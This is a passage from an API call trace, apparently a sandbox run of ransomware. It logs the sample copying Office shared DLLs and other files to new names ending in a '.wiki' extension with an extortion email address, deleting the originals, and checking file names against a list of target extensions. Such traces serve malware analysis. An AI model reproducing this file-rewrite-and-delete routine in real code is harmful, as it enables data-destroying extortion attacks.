(hFile=0x210) returned 1 [0186.711] CloseHandle (hObject=0x210) returned 1 [0186.711] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0186.711] SetEndOfFile (hFile=0x200) returned 1 [0187.051] CloseHandle (hObject=0x200) returned 1 [0187.051] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0187.051] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acerep.dll")) returned 1 [0187.055] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL") returned 66 [0187.055] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL") returned 66 [0187.055] lstrlenW (lpString=".doc") returned 4 [0187.055] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0187.055] lstrlenW (lpString=".docx") returned 5 [0187.055] lstrcmpiW (lpString1=".docx", lpString2="P.DLL") returned -1 [0187.055] lstrlenW (lpString=".pdf") returned 4 [0187.055] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0187.058] lstrlenW (lpString=".xls") returned 4 [0187.059] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0187.059] lstrlenW (lpString=".xlsx") returned 5 [0187.059] lstrcmpiW (lpString1=".xlsx", lpString2="P.DLL") returned -1 [0187.059] lstrlenW (lpString=".ppt") returned 4 [0187.059] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0187.059] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL") returned 66 [0187.059] lstrlenW (lpString=".zip") returned 4 [0187.059] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0187.059] lstrlenW (lpString=".rar") returned 4 [0187.059] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0187.059] lstrlenW (lpString=".bz2") returned 4 [0187.059] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0187.059] lstrlenW (lpString=".7z") returned 3 [0187.059] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0187.059] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL") returned 66 [0187.059] lstrlenW (lpString=".dbf") returned 4 [0187.059] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0187.059] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL") returned 66 [0187.059] lstrlenW (lpString=".1cd") returned 4 [0187.059] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0187.059] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL") returned 66 [0187.059] lstrlenW (lpString=".jpg") returned 4 [0187.059] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0187.059] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL") returned 66 [0187.059] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL") returned 66 [0187.059] lstrlenW (lpString=".doc") returned 4 [0187.059] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0187.059] lstrlenW (lpString=".docx") returned 5 [0187.059] lstrcmpiW (lpString1=".docx", lpString2="P.DLL") returned -1 [0187.060] lstrlenW (lpString=".pdf") returned 4 [0187.060] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0187.060] lstrlenW (lpString=".xls") returned 4 [0187.060] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0187.060] lstrlenW (lpString=".xlsx") returned 5 [0187.060] lstrcmpiW (lpString1=".xlsx", lpString2="P.DLL") returned -1 [0187.060] lstrlenW (lpString=".ppt") returned 4 [0187.060] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0187.060] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL") returned 66 [0187.060] lstrlenW (lpString=".zip") returned 4 [0187.060] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0187.060] lstrlenW (lpString=".rar") returned 4 [0187.060] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0187.060] lstrlenW (lpString=".bz2") returned 4 [0187.060] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0187.060] lstrlenW (lpString=".7z") returned 3 [0187.060] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0187.060] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL") returned 66 [0187.060] lstrlenW (lpString=".dbf") returned 4 [0187.060] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0187.060] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL") returned 66 [0187.060] lstrlenW (lpString=".1cd") returned 4 [0187.060] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0187.060] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL") returned 66 [0187.060] lstrlenW (lpString=".jpg") returned 4 [0187.060] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0187.060] lstrcmpiW (lpString1=".ODF", lpString2=".wiki") returned -1 [0187.060] lstrlenW (lpString="OFFICE.ODF") returned 10 [0187.061] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\cultures\\office.odf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0187.061] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=4297568) returned 1 [0187.061] CloseHandle (hObject=0x200) returned 1 [0187.061] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\cultures\\office.odf")) returned 0x20 [0187.061] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\cultures\\office.odf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0187.061] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\cultures\\office.odf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\cultures\\office.odf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 1 [0187.062] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\cultures\\office.odf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0187.062] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0187.062] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\cultures\\office.odf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\cultures\\office.odf")) returned 1 [0187.063] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF") returned 75 [0187.063] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF") returned 75 [0187.063] lstrlenW (lpString=".doc") returned 4 [0187.063] lstrcmpiW (lpString1=".doc", lpString2=".ODF") returned -1 [0187.063] lstrlenW (lpString=".docx") returned 5 [0187.063] lstrcmpiW (lpString1=".docx", lpString2="E.ODF") returned -1 [0187.063] lstrlenW (lpString=".pdf") returned 4 [0187.063] lstrcmpiW (lpString1=".pdf", lpString2=".ODF") returned 1 [0187.063] lstrlenW (lpString=".xls") returned 4 [0187.063] lstrcmpiW (lpString1=".xls", lpString2=".ODF") returned 1 [0187.063] lstrlenW (lpString=".xlsx") returned 5 [0187.063] lstrcmpiW (lpString1=".xlsx", lpString2="E.ODF") returned -1 [0187.063] lstrlenW (lpString=".ppt") returned 4 [0187.063] lstrcmpiW (lpString1=".ppt", lpString2=".ODF") returned 1 [0187.063] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF") returned 75 [0187.063] lstrlenW (lpString=".zip") returned 4 [0187.063] lstrcmpiW (lpString1=".zip", lpString2=".ODF") returned 1 [0187.063] lstrlenW (lpString=".rar") returned 4 [0187.063] lstrcmpiW (lpString1=".rar", lpString2=".ODF") returned 1 [0187.063] lstrlenW (lpString=".bz2") returned 4 [0187.063] lstrcmpiW (lpString1=".bz2", lpString2=".ODF") returned -1 [0187.063] lstrlenW (lpString=".7z") returned 3 [0187.063] lstrcmpiW (lpString1=".7z", lpString2="ODF") returned -1 [0187.063] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF") returned 75 [0187.063] lstrlenW (lpString=".dbf") returned 4 [0187.063] lstrcmpiW (lpString1=".dbf", lpString2=".ODF") returned -1 [0187.063] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF") returned 75 [0187.063] lstrlenW (lpString=".1cd") returned 4 [0187.063] lstrcmpiW (lpString1=".1cd", lpString2=".ODF") returned -1 [0187.063] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF") returned 75 [0187.063] lstrlenW (lpString=".jpg") returned 4 [0187.063] lstrcmpiW (lpString1=".jpg", lpString2=".ODF") returned -1 [0187.064] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF") returned 75 [0187.064] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF") returned 75 [0187.064] lstrlenW (lpString=".doc") returned 4 [0187.064] lstrcmpiW (lpString1=".doc", lpString2=".ODF") returned -1 [0187.064] lstrlenW (lpString=".docx") returned 5 [0187.064] lstrcmpiW (lpString1=".docx", lpString2="E.ODF") returned -1 [0187.064] lstrlenW (lpString=".pdf") returned 4 [0187.064] lstrcmpiW (lpString1=".pdf", lpString2=".ODF") returned 1 [0187.064] lstrlenW (lpString=".xls") returned 4 [0187.064] lstrcmpiW (lpString1=".xls", lpString2=".ODF") returned 1 [0187.064] lstrlenW (lpString=".xlsx") returned 5 [0187.064] lstrcmpiW (lpString1=".xlsx", lpString2="E.ODF") returned -1 [0187.064] lstrlenW (lpString=".ppt") returned 4 [0187.064] lstrcmpiW (lpString1=".ppt", lpString2=".ODF") returned 1 [0187.064] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF") returned 75 [0187.064] lstrlenW (lpString=".zip") returned 4 [0187.064] lstrcmpiW (lpString1=".zip", lpString2=".ODF") returned 1 [0187.064] lstrlenW (lpString=".rar") returned 4 [0187.064] lstrcmpiW (lpString1=".rar", lpString2=".ODF") returned 1 [0187.064] lstrlenW (lpString=".bz2") returned 4 [0187.064] lstrcmpiW (lpString1=".bz2", lpString2=".ODF") returned -1 [0187.064] lstrlenW (lpString=".7z") returned 3 [0187.064] lstrcmpiW (lpString1=".7z", lpString2="ODF") returned -1 [0187.064] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF") returned 75 [0187.064] lstrlenW (lpString=".dbf") returned 4 [0187.064] lstrcmpiW (lpString1=".dbf", lpString2=".ODF") returned -1 [0187.064] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF") returned 75 [0187.064] lstrlenW (lpString=".1cd") returned 4 [0187.064] lstrcmpiW (lpString1=".1cd", lpString2=".ODF") returned -1 [0187.064] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF") returned 75 [0187.064] lstrlenW (lpString=".jpg") returned 4 [0187.064] lstrcmpiW (lpString1=".jpg", lpString2=".ODF") returned -1 [0187.065] lstrcmpiW (lpString1=".DLL", lpString2=".wiki") returned -1 [0187.065] lstrlenW (lpString="EXPSRV.DLL") returned 10 [0187.065] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\expsrv.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0187.066] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=518984) returned 1 [0187.066] CloseHandle (hObject=0x200) returned 1 [0187.066] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\expsrv.dll")) returned 0x20 [0187.066] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\expsrv.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0187.066] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\expsrv.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0187.066] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0187.066] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0187.066] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\expsrv.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0187.066] GetLastError () returned 0x0 [0187.067] ReadFile (in: hFile=0x200, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfed4*=0x7eb48, lpOverlapped=0x0) returned 1 [0187.078] WriteFile (in: hFile=0x1e0, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x7eb50, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc9c*=0x7eb50, lpOverlapped=0x0) returned 1 [0187.088] ReadFile (in: hFile=0x200, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0187.088] WriteFile (in: hFile=0x1e0, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc9c*=0xe8, lpOverlapped=0x0) returned 1 [0187.088] SetEndOfFile (hFile=0x1e0) returned 1 [0187.088] CloseHandle (hObject=0x1e0) returned 1 [0187.088] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0187.088] SetEndOfFile (hFile=0x200) returned 1 [0188.163] CloseHandle (hObject=0x200) returned 1 [0188.163] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0188.163] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\expsrv.dll")) returned 1 [0188.651] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL") returned 66 [0188.651] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL") returned 66 [0188.651] lstrlenW (lpString=".doc") returned 4 [0188.651] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0188.651] lstrlenW (lpString=".docx") returned 5 [0188.651] lstrcmpiW (lpString1=".docx", lpString2="V.DLL") returned -1 [0188.651] lstrlenW (lpString=".pdf") returned 4 [0188.651] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0188.651] lstrlenW (lpString=".xls") returned 4 [0188.651] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0188.651] lstrlenW (lpString=".xlsx") returned 5 [0188.651] lstrcmpiW (lpString1=".xlsx", lpString2="V.DLL") returned -1 [0188.651] lstrlenW (lpString=".ppt") returned 4 [0188.651] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0188.651] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL") returned 66 [0188.651] lstrlenW (lpString=".zip") returned 4 [0188.651] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0188.651] lstrlenW (lpString=".rar") returned 4 [0188.651] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0188.651] lstrlenW (lpString=".bz2") returned 4 [0188.651] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0188.651] lstrlenW (lpString=".7z") returned 3 [0188.651] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0188.651] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL") returned 66 [0188.651] lstrlenW (lpString=".dbf") returned 4 [0188.651] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0188.651] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL") returned 66 [0188.651] lstrlenW (lpString=".1cd") returned 4 [0188.651] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0188.651] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL") returned 66 [0188.652] lstrlenW (lpString=".jpg") returned 4 [0188.652] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0188.652] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL") returned 66 [0188.652] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL") returned 66 [0188.652] lstrlenW (lpString=".doc") returned 4 [0188.652] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0188.652] lstrlenW (lpString=".docx") returned 5 [0188.652] lstrcmpiW (lpString1=".docx", lpString2="V.DLL") returned -1 [0188.652] lstrlenW (lpString=".pdf") returned 4 [0188.652] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0188.652] lstrlenW (lpString=".xls") returned 4 [0188.652] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0188.652] lstrlenW (lpString=".xlsx") returned 5 [0188.652] lstrcmpiW (lpString1=".xlsx", lpString2="V.DLL") returned -1 [0188.652] lstrlenW (lpString=".ppt") returned 4 [0188.652] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0188.652] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL") returned 66 [0188.652] lstrlenW (lpString=".zip") returned 4 [0188.652] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0188.652] lstrlenW (lpString=".rar") returned 4 [0188.652] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0188.652] lstrlenW (lpString=".bz2") returned 4 [0188.652] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0188.652] lstrlenW (lpString=".7z") returned 3 [0188.652] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0188.652] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL") returned 66 [0188.652] lstrlenW (lpString=".dbf") returned 4 [0188.652] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0188.652] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL") returned 66 [0188.652] lstrlenW (lpString=".1cd") returned 4 [0188.652] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0188.653] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL") returned 66 [0188.653] lstrlenW (lpString=".jpg") returned 4 [0188.653] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0188.653] lstrcmpiW (lpString1=".dll", lpString2=".wiki") returned -1 [0188.653] lstrlenW (lpString="msoshext.dll") returned 12 [0188.653] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\msoshext.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoshext.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0188.653] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=1269648) returned 1 [0188.653] CloseHandle (hObject=0x1d0) returned 1 [0188.653] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\msoshext.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoshext.dll")) returned 0x20 [0188.654] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\msoshext.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoshext.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0188.654] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\msoshext.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoshext.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0188.654] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0188.654] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0188.654] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\msoshext.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoshext.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0188.654] GetLastError () returned 0x0 [0188.654] ReadFile (in: hFile=0x1d0, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfed4*=0xffff0, lpOverlapped=0x0) returned 1 [0188.677] WriteFile (in: hFile=0x1e0, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0188.846] ReadFile (in: hFile=0x1d0, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfed4*=0x35fa0, lpOverlapped=0x0) returned 1 [0188.857] WriteFile (in: hFile=0x1e0, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x35fb0, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc9c*=0x35fb0, lpOverlapped=0x0) returned 1 [0188.863] ReadFile (in: hFile=0x1d0, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0188.863] WriteFile (in: hFile=0x1e0, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0188.863] SetEndOfFile (hFile=0x1e0) returned 1 [0188.863] CloseHandle (hObject=0x1e0) returned 1 [0188.863] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0188.863] SetEndOfFile (hFile=0x1d0) returned 1 [0188.865] CloseHandle (hObject=0x1d0) returned 1 [0188.865] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\msoshext.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0188.866] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\msoshext.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoshext.dll")) returned 1 [0188.866] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\msoshext.dll") returned 68 [0188.866] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\msoshext.dll") returned 68 [0188.866] lstrlenW (lpString=".doc") returned 4 [0188.866] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0188.866] lstrlenW (lpString=".docx") returned 5 [0188.866] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0188.866] lstrlenW (lpString=".pdf") returned 4 [0188.866] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0188.866] lstrlenW (lpString=".xls") returned 4 [0188.866] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0188.866] lstrlenW 